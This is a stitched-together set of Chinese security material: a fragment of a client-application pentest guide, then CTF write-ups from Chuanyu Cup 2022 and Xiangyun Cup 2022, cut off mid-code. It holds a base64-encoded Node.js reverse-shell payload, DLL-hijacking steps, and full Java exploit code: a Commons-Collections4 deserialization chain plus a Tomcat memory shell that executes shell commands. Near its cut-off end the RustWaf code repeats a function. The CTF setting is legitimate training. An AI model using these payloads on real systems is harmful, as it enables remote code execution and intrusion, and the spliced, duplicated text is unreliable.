Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=,base64).toString())'>"); 相关参考 https://www.anquanke.com/post/id/176379 命令执行 案例0-印象笔记windows客户端6.15本地文件读取和远程命令执行http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6%88%B7%E7%AB%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/ 案例1-某云pc客户端命令执行挖掘过程 https://www.secpulse.com/archives/53852.html 案例2-金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧) https://shuimugan.com/bug/view?bug_no=193117 测试点同web。 DLL劫持 Linux文件搜索顺序: 当前目录PATH顺序值目录 程序搜索Dll顺序: //没提供绝对路径 1.应用程序加载的目录。 2.当前目录。 3.系统目录 (C:\Windows\System32\)。 4.16位的系统目录。 5.Windows目录。 6.PATH变量的目录。 程序可以加载攻击者放置的恶意dll。 利用procmon搜索程序加载的dll,观察name not found。 msf生成恶意dll放置于程序加载位置,运行程序即可触发payload。 案例0-dll劫持 dvta 逻辑缺陷测试点同web。 授权认证缺陷注册表键值,授权服务器返回信息构造。 相关参考 https://cloud.tencent.com/developer/article/1430899 未授权 案例0-正方教务系统数据库任意操作 知道ip即可接管数据库 //本案例来源于wooyun 越权 溢出 0x08 相关技巧 利用procexp --> properties --> tcp/ip 可以查看该客户端发起的网络连接,从而快速确定服务端地址wireshark直接过滤出服务器或数据库的ip或协议方便查看,如ip.addr == 1.2.3.4&&http 如果有数据库账号,可以用数据库监控sql语句操作(如sql server profiler)。 0x09 参考资料&&相关资源 https://resources.infosecinstitute.com
-
川渝杯2022个人决赛部分wp
re-babyre1、下载得到chall.txt,使用file命令查看文件类型,该文件是python文件 2.这里将chall.txt重命名为chall.pyc 使用在线python反编译得到python(https://tool.lu/pyc) from ctypes import c_uint32 from base64 import b64encode def enc(rounds: int, v: list, key: list): magic = 3735928559 l, r = c_uint32(v[0]), c_uint32(v[1]) total = c_uint32(0) for _ in range(rounds): l.value -= (r.value << 4) - (r.value >> 6) + (key[(total.value & 3)] << 2) ^ key[(r.value << 3 & 3)] total.value -= magic r.value += ((l.value << 5) + (l.value << 4) ^ key[(total.value & 3)] >> 2) + key[(l.value & 3)] else: return ( l.value, r.value) def ints2bytes(v: list) -> bytes: n = len(v) res = b'' for i in range(n // 2): res += int.to_bytes(v[(2 * i)], 4, 'little') res += int.to_bytes(v[(2 * i + 1)], 4, 'little') else: return res def bytes2ints(cs: bytes) -> list: new_length = len(cs) + (8 - len(cs) % 8) % 8 barray = cs.ljust(new_length, b'\x00') i = 0 v = [] while i < new_length: v0 = int.from_bytes(barray[i:i + 4], 'little') v1 = int.from_bytes(barray[i + 4:i + 8], 'little') v.append(v0) v.append(v1) i += 8 return v def encode(msg): BASE_CHAR = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz' CHARSET = 'ASCII' b_msg = bytes(msg, CHARSET) CHAR_PRE_GROUP = 3 zero_cnt = CHAR_PRE_GROUP - len(b_msg) % CHAR_PRE_GROUP if zero_cnt == CHAR_PRE_GROUP: zero_cnt = 0 msg += str(chr(0)) * zero_cnt b_msg = bytes(msg, CHARSET) encoded = '' for i in range(0, len(b_msg), 3): i_msg = [int(i) for i in b_msg[i:i + 3]] new_msg = [None] * 4 new_msg[0] = i_msg[0] >> 2 new_msg[1] = ((i_msg[0] & 3) << 6 | i_msg[1] >> 2) >> 2 new_msg[2] = ((i_msg[1] & 15) << 4 | i_msg[2] >> 4) >> 2 new_msg[3] = i_msg[2] & 63 encoded += ''.join([BASE_CHAR[i] for i in new_msg]) else: return (encoded + '=' * zero_cnt).encode() if __name__ == '__main__': flag = input('Input your flag: ').strip().encode() if len(flag) ^ 42: exit(0) u = 0 z = 1 v = flag[:21] if ((((((-v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + v[20] == -321 and ((((((-v[0] + v[1] - v[2]) + v[3] - v[4] - v[5] - v[6] - v[7]) + v[8] + v[9] + v[10] - v[11]) + v[12] - v[13]) + v[14] - v[15] - v[16]) + v[17] - v[18] - v[19]) + v[20] == -265 and ((-2 * v[0] + v[1] + 2 * v[3] + 2 * v[4] - 2 * v[5]) + 2 * v[7] + 2 * v[9] - 2 * v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[15] - 2 * v[16]) + 2 * v[18] == -144 and ((-3 * v[0] + 2 * v[1] - v[2]) + 2 * v[4] - 2 * v[5]) + 2 * v[9] - 2 * v[11] - 2 * v[14] - 2 * v[16] - 2 * v[17] - 2 * v[19] == -637 and ((((((-2 * v[0] + v[1] - v[2]) + v[3] + 2 * v[4] - 2 * v[6]) + 2 * v[7] - 2 * v[8]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -158 and (((-6 * v[0] + 3 * v[1] - v[2]) + 2 * v[4] - 2 * v[6] - 2 * v[12]) + 2 * v[13] - 2 * v[16] - 2 * v[17]) + 2 * v[18] == -449 and (((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[7] - 2 * v[8] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] - 2 * v[17]) + 2 * v[20] == -778 and ((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[9] - 2 * v[12] - 2 * v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -760 and (((-13 * v[0] + 5 * v[1] + 2 * v[2] - v[3]) + v[4] - v[5] - 3 * v[6]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14] - 2 * v[17] == -1270 and (((((-22 * v[0] + 8 * v[1] + 3 * v[2] - 4 * v[3]) + 2 * v[4] + v[5] - 2 * v[6] - v[7]) + v[8] - v[9] - v[10]) + v[11] + v[12] - v[13] - v[14] - v[15]) + v[16] + v[17] - v[18]) + v[19] - v[20] == -1494 and ((((-2 * v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] == -528 and ((((-21 * v[0] + 8 * v[1] + 4 * v[2] - 2 * v[3]) + 2 * v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[16]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1853 and ((((-14 * v[0] + 5 * v[1] - v[3]) + 3 * v[4] - 2 * v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - v[11] - 2 * v[12]) + 2 * v[20] == -913 and ((((-20 * v[0] + 7 * v[1] + 3 * v[2] - 2 * v[3]) + 2 * v[4] - 3 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + 2 * v[13] - 2 * v[19]) + 2 * v[20] == -1310 and (((-11 * v[0] + 4 * v[1] + v[2] - v[3]) + v[4] - v[5] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - 2 * v[15] - 2 * v[16] - 2 * v[19] == -1576 and (((((-21 * v[0] + 8 * v[1] + 3 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1830 and ((((-27 * v[0] + 9 * v[1] + 5 * v[2] - 4 * v[3]) + v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - 3 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - v[15] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -2692 and (((-17 * v[0] + 7 * v[1] - 2 * v[3]) + 3 * v[4] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - 2 * v[19] == -1519 and ((((-25 * v[0] + 9 * v[1] + 3 * v[2] - 3 * v[3]) + 3 * v[4] - 4 * v[6] - v[7]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + 2 * v[18] == -1937 and (((((-24 * v[0] + 9 * v[1] + 4 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - 2 * v[19]) + 2 * v[20] == -2078 and (((((-8 * v[0] + 3 * v[1] + v[2] + 2 * v[4] - v[5] - 2 * v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + 2 * v[20] == -654: u = 1 vs = bytes2ints(flag[21:-5]) keys = bytes2ints(v[:16]) res = [] for i in range(len(vs) // 2): pt = vs[2 * i:2 * i + 2] v0, v1 = enc(len(flag), pt, keys) res.extend([v0, v1]) else: res = list(ints2bytes(res)) res.extend(list(encode(flag[-5:].decode()))) check = [86, 2, 249, 121, 139, 89, 236, 10, 233, 193, 135, 89, 22, 235, 221, 127, 52, 113, 82, 87, 79, 72, 111, 65, 61] for r, c in zip(res, check): if r ^ c: z = 0 break else: if z & u: print("Congratulations! You've got the flag!") else: print('Nope, try again!')3、分析步骤,flag分成了三段: 第一段可以用z3求解 第二段为魔改tea,key为第一段前16字节 第三段为换标base64 4、分段求解即可 from ctypes import c_uint32 import base64 ''' from z3 import * v = [ Int(f'v[{i}]') for i in range(21)] s = Solver() s.add(((((((-v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + v[20] == -321 ) s.add(((((((-v[0] + v[1] - v[2]) + v[3] - v[4] - v[5] - v[6] - v[7]) + v[8] + v[9] + v[10] - v[11]) + v[12] - v[13]) + v[14] - v[15] - v[16]) + v[17] - v[18] - v[19]) + v[20] == -265 ) s.add(((-2 * v[0] + v[1] + 2 * v[3] + 2 * v[4] - 2 * v[5]) + 2 * v[7] + 2 * v[9] - 2 * v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[15] - 2 * v[16]) + 2 * v[18] == -144 ) s.add(((-3 * v[0] + 2 * v[1] - v[2]) + 2 * v[4] - 2 * v[5]) + 2 * v[9] - 2 * v[11] - 2 * v[14] - 2 * v[16] - 2 * v[17] - 2 * v[19] == -637 ) s.add(((((((-2 * v[0] + v[1] - v[2]) + v[3] + 2 * v[4] - 2 * v[6]) + 2 * v[7] - 2 * v[8]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -158 ) s.add((((-6 * v[0] + 3 * v[1] - v[2]) + 2 * v[4] - 2 * v[6] - 2 * v[12]) + 2 * v[13] - 2 * v[16] - 2 * v[17]) + 2 * v[18] == -449 ) s.add((((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[7] - 2 * v[8] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] - 2 * v[17]) + 2 * v[20] == -778 ) s.add(((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[9] - 2 * v[12] - 2 * v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -760 ) s.add((((-13 * v[0] + 5 * v[1] + 2 * v[2] - v[3]) + v[4] - v[5] - 3 * v[6]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14] - 2 * v[17] == -1270 ) s.add((((((-22 * v[0] + 8 * v[1] + 3 * v[2] - 4 * v[3]) + 2 * v[4] + v[5] - 2 * v[6] - v[7]) + v[8] - v[9] - v[10]) + v[11] + v[12] - v[13] - v[14] - v[15]) + v[16] + v[17] - v[18]) + v[19] - v[20] == -1494 ) s.add(((((-2 * v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] == -528 ) s.add(((((-21 * v[0] + 8 * v[1] + 4 * v[2] - 2 * v[3]) + 2 * v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[16]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1853 ) s.add(((((-14 * v[0] + 5 * v[1] - v[3]) + 3 * v[4] - 2 * v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - v[11] - 2 * v[12]) + 2 * v[20] == -913 ) s.add(((((-20 * v[0] + 7 * v[1] + 3 * v[2] - 2 * v[3]) + 2 * v[4] - 3 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + 2 * v[13] - 2 * v[19]) + 2 * v[20] == -1310 ) s.add((((-11 * v[0] + 4 * v[1] + v[2] - v[3]) + v[4] - v[5] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - 2 * v[15] - 2 * v[16] - 2 * v[19] == -1576 ) s.add((((((-21 * v[0] + 8 * v[1] + 3 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1830 ) s.add(((((-27 * v[0] + 9 * v[1] + 5 * v[2] - 4 * v[3]) + v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - 3 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - v[15] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -2692 ) s.add((((-17 * v[0] + 7 * v[1] - 2 * v[3]) + 3 * v[4] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - 2 * v[19] == -1519 ) s.add(((((-25 * v[0] + 9 * v[1] + 3 * v[2] - 3 * v[3]) + 3 * v[4] - 4 * v[6] - v[7]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + 2 * v[18] == -1937 ) s.add((((((-24 * v[0] + 9 * v[1] + 4 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - 2 * v[19]) + 2 * v[20] == -2078 ) s.add((((((-8 * v[0] + 3 * v[1] + v[2] + 2 * v[4] - v[5] - 2 * v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + 2 * v[20] == -654) print(s.check()) m=s.model() print(m) ''' v=[0]*21 v[6] = 99 v[16] = 49 v[3] = 103 v[0] = 102 v[13] = 45 v[5] = 99 v[12] = 48 v[4] = 123 v[10] = 48 v[1] = 108 v[7] = 102 v[8] = 101 v[2] = 97 v[15] = 54 v[11] = 54 v[9] = 52 v[18] = 45 v[20] = 50 v[14] = 97 v[19] = 52 v[17] = 49 v=bytes(v) print(v) flag1=v def ints2bytes(v = None): n = len(v) res = b'' for i in range(n // 2): res += int.to_bytes(v[2 * i], 4, 'little') res += int.to_bytes(v[2 * i + 1], 4, 'little') return res def bytes2ints(cs = None): new_length = len(cs) + (8 - len(cs) % 8) % 8 barray = cs.ljust(new_length, b'\x00') i = 0 v = [] while i < new_length: v0 = int.from_bytes(barray[i:i + 4], 'little') v1 = int.from_bytes(barray[i + 4:i + 8], 'little') v.append(v0) v.append(v1) i += 8 continue return v keys = bytes2ints(v[:16]) #print(keys) c = [86,2,249,121,139,89,236,10,233,193,135,89,22,235,221,127,52,113,82,87,79,72,111,65,61] flag3=bytes(c[-9:]) print(flag3) c = c[:-9] #print(c) c = bytes2ints(bytes(c)) #print(c) def enc(v = None, key = None): magic = 0xDEADBEEF l = c_uint32(v[0]) r = c_uint32(v[1]) total = c_uint32(0) for _ in range(42): l.value -= ((r.value << 4) - (r.value >> 6)) + (key[total.value & 3] << 2) ^ key[r.value << 3 & 3] total.value -= magic r.value += ((l.value << 5) + (l.value << 4) ^ key[total.value & 3] >> 2) + key[l.value & 3] return (l.value, r.value) def dec(v = None, key = None): magic = 0xDEADBEEF l = c_uint32(v[0]) r = c_uint32(v[1]) total = c_uint32(0) for _ in range(42): total.value -= magic for _ in range(42): r.value -= ((l.value << 5) + (l.value << 4) ^ key[total.value & 3] >> 2) + key[l.value & 3] total.value += magic l.value += ((r.value << 4) - (r.value >> 6)) + (key[total.value & 3] << 2) ^ key[r.value << 3 & 3] return (l.value, r.value) flag2=[] for i in range(2): v0,v1 = dec(c[2 * i:2 * i + 2],keys) flag2.extend([v0, v1]) flag2=ints2bytes(flag2) print(flag2) a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' #标准表 b = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz' #新表 flag3=flag3.decode() trantab = flag3.maketrans(b, a) flag3 = base64.b64decode(flag3.translate(trantab)) print(flag3) flag=flag1 + flag2+ flag3 print(flag) 5、运行得到flag flag{ccfe4060-a611-42d7-8265-32f75cb8cdb8} MISC-timu观察一下发现是sql盲注流量,成功时长度为437,SQL注入流量分析 http.content_length == 437筛选一下导出文本 写个脚本提取一下flag import re number = [] with open("flag.txt","r",encoding="utf-8") as f: for i in f.readlines(): flag_number = re.search('\)\)=(.+?)--',i) if flag_number: print(chr(int(flag_number.group(1)[::])),end='')MISC-babymisc拿到手两个视频,发现key.mp4损坏 使用digital Video repair对MP4进行修复 照着help.mp4修改文件头之后打开成功,得到密码 得到CODE压缩包密码:kfckfckfcdddd 拿到文件后发现KFC.png是一个文件头被修改的压缩包,改成504B0304再使用winrar自带的修复功能修一下即可正常打开 另外三个文本根据文件名的提示依次用8421BCD编码,余3码和5121BCD编码对二进制进行解码,再将得到的三串数字加起来即可得到KFC.zip的密码 8421:9520131412399 余3: 159258489321 5121:147258 解压密码:9679390048978又得到了三个文件,根据内容了解是gpg加密。 key.txt里的内容 jcI4=S$;@oRcTT_jfYEB]Y3Eh]]Y`Zka7.ePD8:aRHT1"jeSg:J?S(;UunS-k^]VqZ%h>RK]TD<ja`NVJ?S'qKBK5Bk,3jqLof^.YiW+%k*:Y_R'5VJU?JYfjM.taR=OFo[H3=;je\^5OGW(bS`[P<k*V1jOc\_2RHVD_kIeLiWJ9N2U?S,VkF81+^TlpQM<VUaje\^9JZe4OVW>IEkbtrQT;CV_K]nbajM.t`K>$?[K]]qJk+]9HWOCr>YNV=Dk^^,'V5!(AYiV^UkeF"VPD84VJ, base85解密之后可以得到佛曰加密的文本 把开头的吾换成佛之后即可成功解密,得到gpg密码 https://www.keyfc.net/bbs/tools/tudoucode.aspx 得到gpg密码:KFCcrazyThursdayVme50 然后就是使用gnupg导入私钥,这里输入密码:KFCcrazyThursdayVme50 使用gpg --decrypt enc ,并输入密码,j解码得到flag crypto-ezRSA共模不互素RSA解码脚本: from gmpy2 import gcdext, iroot from Crypto.Util.number import long_to_bytes n=15334568944937927007999900484465008933318606732373890322662758402635604904264667848527624432918429375075528808825616270959632486002311971836554591848781563095705366553616002512404398788966973097823043515475930194538283976927496112772470447937619132674710993584070843393450092524523160279299624451370719909878959576969398084280115463732579954724508652349756110176703496308636810989451987779509636118628086540986338888325501247197248272357069233416661506310524030484892275300358493956190791539925164498005723797931221417357134562381130881466267058989667933251564895613135627072396134981492993661899429352449683777587209 e1=27 c1=12986025840528664605029703071663558675501785717478309954653498440612589963048159389429665580606645713091596074128667194086739183824746224776044505827397154734845975260817293507509629880984219447666390126778735042575927584431041809412129358169629481686396038656480335466512102391890656372814903856027069054914435182728702353752096261176489806655455180097921073991840434590847811340528129253635512407064432360667518609177665325443979726996323560146227981931306518381574311791478479870050796181080300960066337033348776336649326992736515374354805162513674023608490939211117916740904072712484071608280826638537071430473813 e2=39 c2=6565386561126377566205122052098859256761850660695107175286649909808306124644179105628309902060507618319280856871171458108016540215224251721808589269898666208382953255344110718521884982317209269392886709868323886328303134746004772279271980557082263084385403484745749464251594821997308103907619284485485066324857517197751975558892533102067555683357635646156697977091058441721633786527229804348932128713515500689116444655902831314054143308572380052547505012526648205677796482004437411380302150565229313601140113069775555419804631455611599060297651400855376162690324232629639053723597992360016809065382185021672739721475 g,x,y=gcdext(e1,e2) m=pow(c1,x,n)*pow(c2,y,n)%n m=iroot(m,3)[0] print(long_to_bytes(m)) 题目附件内容:链接:https://pan.baidu.com/s/1_kP1FmyA5xi3Qy24xW-_rQ 提取码:7ggd 来自为知笔记(Wiz)
-
祥云杯2022 writeup
0x01 web1.ezjava下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞 util ,最后好像没用到 检查程序,发现apache的common−collections4,而且其反序列化利用类未被Patch 一眼看到 commons-collection4-4.0, 于是直接用 ysoserial 打 考点发现就是 cc4 附上文章 外加spring−ech 网上有现成的 poc 造轮子! : package moe.orangemc; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue; public class Main { public static void main(String[] args) { try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("Meow"); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); Field f1 = templates.getClass().getDeclaredField("_name"); Field f2 = templates.getClass().getDeclaredField("_bytecodes"); f1.setAccessible(true); f2.setAccessible(true); f1.set(templates, "Meow"); f2.set(templates, new byte[][]{bytes}); Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})); TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue<Integer> queue = new PriorityQueue<>(2); queue.add(1); queue.add(1); Field f = queue.getClass().getDeclaredField("comparator"); f.setAccessible(true); f.set(queue, transformingComparator); Field f3 = queue.getClass().getDeclaredField("queue"); f3.setAccessible(true); f3.set(queue, new Object[] {chainedTransformer, chainedTransformer}); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue); oos.close(); String result = new String(Base64.getEncoder().encode(baos.toByteArray())); System.out.println(result); } catch (Exception e) { e.printStackTrace(); } } }根据上文代码,发现无法回显,但根据百度发现可以利用 apache 的 catalina 进行回显,同时程序包里有这个类库: 编写恶意类: import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Meow extends AbstractTranslet { public Meow() { super(); this.namesArray = new String[]{"meow"}; try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i=0;i<connectors.length;i++) { if (4==connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) { System.out.println(classes[j].getName()); java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); System.out.println(tempRequest.getHeader("tomcat")); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); String cmd = "" + "cat /flag" +""; String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\n"); String output = s.hasNext() ? s.next() : ""; java.io.Writer writer = request.getResponse().getWriter(); java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set(request.getResponse(), Boolean.FALSE); writer.write(output); writer.flush(); break; } break; } } } break; } } } catch (Exception e) { } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } 绕了一圈又找到了 Y4er 师傅的 ysoserial 修改版 https://github.com/Y4er/ysoserial 又试了下 cc4 结合 TomcatCmdEcho 内存马 java -jar ysoserial-main-1736fa42da-1.jar CommonsCollections4 "CLASS:TomcatCmdEcho" | base64 发包时注意把 Content-Type 删掉 第二次发送的时候成功执行了命令 查看 flag 后来想了想题目机器应该是不出网的, 一开始 cc2 的报错其实对于 rce 来说不影响, 结果后来换了个内存马的 payload 就成功了 不过 java 内存马目前还没怎么研究, 找个时间仔细看一下 把我们所有的东西组合起来,即可获得 payload,但是注意要把最后的回车删掉,不然无法反序列化,然后就得到 flag. 2.RustWaf /src得到 nodejs 源代码 通过源码可以看到路由分别有三个 、、/readfile、/、/src 并且可以通过源码知道我们操作的地方再 /readfile 并且定义了直接 post 传再 body 其实这个就是利用 fs 的函数,这个刷过 ctfshow 的同学都知道,可以读文件 const express = require('express'); const app = express(); const bodyParser = require("body-parser") const fs = require("fs") app.use(bodyParser.text({type: '*/*'})); const { execFileSync } = require('child_process'); app.post('/readfile', function (req, res) { let body = req.body.toString(); let file_to_read = "app.js"; const file = execFileSync('/app/rust-waf', [body], { encoding: 'utf-8' }).trim(); try { file_to_read = JSON.parse(file) } catch (e){ file_to_read = file } let data = fs.readFileSync(file_to_read); res.send(data.toString()); }); app.get('/', function (req, res) { res.send('see `/src`'); }); app.get('/src', function (req, res) { var data = fs.readFileSync('app.js'); res.send(data.toString()); }); app.listen(3000, function () { console.log('start listening on port 3000'); });代码比较简单,重点就是在 /readfile 目录下读取文件,而会直接从 post−body 获取文件名,测试读 取 /etc/passwd 成功 但是读取 flag 的时候没有成功,返回了 rust 的代码。可以发现如果 payload 中包含 flag 或者 proc 就会直接返回文件内容,如果绕过了再判断 payload 如果是 json 格式,那么是否存在 key 为 protocol ,如果存在也直接返回文件内容 use std::env; use serde::{Deserialize, Serialize}; use serde_json::Value; static BLACK_PROPERTY: &str = "protocol"; #[derive(Debug, Serialize, Deserialize)] struct File{ #[serde(default = "default_protocol")] pub protocol: String, pub href: String, pub origin: String, pub pathname: String, pub hostname:String } pub fn default_protocol() -> String { "http".to_string() } //protocol is default value,can't be customized pub fn waf(body: &str) -> String { if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){ return String::from("./main.rs"); } //protocol is default value,can't be customized pub fn waf(body: &str) -> String { if body.to_lowercase().contains("flag") || 